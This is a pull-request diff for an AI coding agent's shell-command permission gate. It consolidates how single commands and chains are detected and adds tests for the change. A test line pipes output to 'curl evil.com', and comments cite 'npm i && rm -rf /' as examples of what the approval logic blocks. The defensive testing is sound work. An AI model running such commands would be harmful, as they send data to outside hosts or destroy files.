Merge pull request #403 from corbitsdev/cl-5677-issingleshellcommand-and-shellapprovalscopes-redefine-is

Share one predicate between isSingleShellCommand and shellApprovalScopes

Author: TheGreatAxios

src/permission/classify.ts

@@ -384,12 +384,29 @@ export const MEGA_CHAIN_SEGMENT_THRESHOLD = 5;
 export const MEGA_CHAIN_NOTICE =
   `Chains of ${MEGA_CHAIN_SEGMENT_THRESHOLD}+ steps are approved once only — split into shorter commands for reusable approvals.`;
 
+// The real (non-comment-only) chain segments of a shell command — the basis
+// both shellApprovalScopes and isSingleShellCommand use to answer "is this
+// one command or a chain."
+function realShellSegments(command: string): string[] {
+  return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
+}
+
+// Whether `command` is exactly one real command — not a chain (`a && b`), not
+// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate
+// (src/permission/gate.ts) and the interactive scope ladder below, so a
+// segmenting-rule change here reaches both.
+export function isSingleShellCommand(command: string): boolean {
+  const segments = realShellSegments(command);
+  if (segments.length !== 1) return false;
+  return tokenize(segments[0]!).length > 0;
+}
+
 // Approval scopes for a shell command the operator may persist. Multi-segment
 // chains only offer the exact full string — a prefix like `npm *` would also
 // match `npm i && rm -rf /` on a later call (fail-closed). At or above
 // MEGA_CHAIN_SEGMENT_THRESHOLD, no scope is offered at all — see the constant.
 function shellApprovalScopes(command: string): ApprovalScope[] {
-  const segments = splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
+  const segments = realShellSegments(command);
   if (segments.length === 0) return [];
   if (segments.length >= MEGA_CHAIN_SEGMENT_THRESHOLD) return [];
   if (segments.length === 1) {

src/permission/gate.ts

@@ -6,6 +6,7 @@ import {
   buildRequests,
   isAutoAllowedShellCall,
   isAutoAllowedShellSegment,
+  isSingleShellCommand,
   callTargetsRestricted,
   commandTargetsRestricted,
   MEGA_CHAIN_SEGMENT_THRESHOLD,
@@ -30,17 +31,6 @@ import { currentTurnId } from "../perf/reactor-spans.js";
 
 export type GateVerdict = { allowed: true } | { allowed: false; reason: string };
 
-// A run_shell pre-approval must name exactly one real command — not a chain
-// (`a && b`), not a pipeline (`a | b`), not an empty or whitespace-only string.
-// Rejecting anything else here keeps ask_operator's `command` argument from
-// minting a grant broader than the single command the operator actually saw.
-function isSingleShellCommand(command: string): boolean {
-  const trimmed = command.trim();
-  if (trimmed.length === 0) return false;
-  if (splitChainedCommand(trimmed).length !== 1) return false;
-  return tokenize(trimmed).length > 0;
-}
-
 // Multi-segment shell may only short-circuit on an exact full-command grant.
 // Prefix globs like `npm *` must not match `npm i && curl x` — the unapproved
 // tail still needs a full-block operator decision. String equality (not glob)

src/permission/permission.test.ts

@@ -14,7 +14,7 @@ import {
 } from "./command.js";
 import { matchesPattern, escapeGlobLiteral } from "./matcher.js";
 import { evaluateApprovals } from "./authz-grants.js";
-import { classifyTool, buildRequests, isAutoAllowedShellCall } from "./classify.js";
+import { classifyTool, buildRequests, isAutoAllowedShellCall, isSingleShellCommand } from "./classify.js";
 import { createPermissionGate } from "./gate.js";
 import { createMcpToolPermissionRegistry, registerMcpClientTools } from "../mcp/tool-permissions.js";
 import { listWorktreeRoots, createWorktreeRootsProvider } from "./worktree-roots.js";
@@ -2001,6 +2001,50 @@ describe("preApprove", () => {
     expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true);
     expect(asked).toBe(1);
   });
+
+  test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => {
+    // "echo hi && # why" has one real segment once the trailing comment is
+    // filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
+    // already filters comment-only segments before counting, so it offers the
+    // full per-command ladder (prefix + exact) as if this were one command.
+    // preApprove's gate must reach the same verdict, since both answer the
+    // same underlying "is this a single shell command" question.
+    const command = "echo hi && # why";
+
+    const gate = createPermissionGate({
+      approvals: [],
+      requestApproval: async () => ({ allow: true }),
+      interactive: true,
+      skipPermissions: false,
+    });
+    gate.preApprove("run_shell", command);
+    const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1;
+
+    const requests = buildRequests(shellCall(command));
+    const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1;
+
+    expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle);
+  });
+
+  test("isSingleShellCommand narrows a pure-comment command to false", () => {
+    // Before the shared realShellSegments predicate, gate.ts's own
+    // isSingleShellCommand did not filter comment-only segments, so a
+    // pure-comment "command" like "# just a comment" counted as one real
+    // segment and was treated as single. The shared predicate filters it
+    // out, leaving zero segments, so this must now be false.
+    expect(isSingleShellCommand("# just a comment")).toBe(false);
+  });
+
+  test("isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment", () => {
+    // splitChainedCommand splits on "&&" before recognizing that "#" extends
+    // a comment to end of line, so "# a && b" splits into ["# a", "b"] even
+    // though a real shell treats the whole line as one comment (nothing
+    // after "#" ever runs). Filtering the comment-only "# a" segment leaves
+    // exactly one real segment, "b", so this is scored as a single command —
+    // matching shellApprovalScopes' existing behavior, not a regression
+    // introduced here.
+    expect(isSingleShellCommand("# a && b")).toBe(true);
+  });
 });
 
 describe("isAutoAllowedShellCall", () => {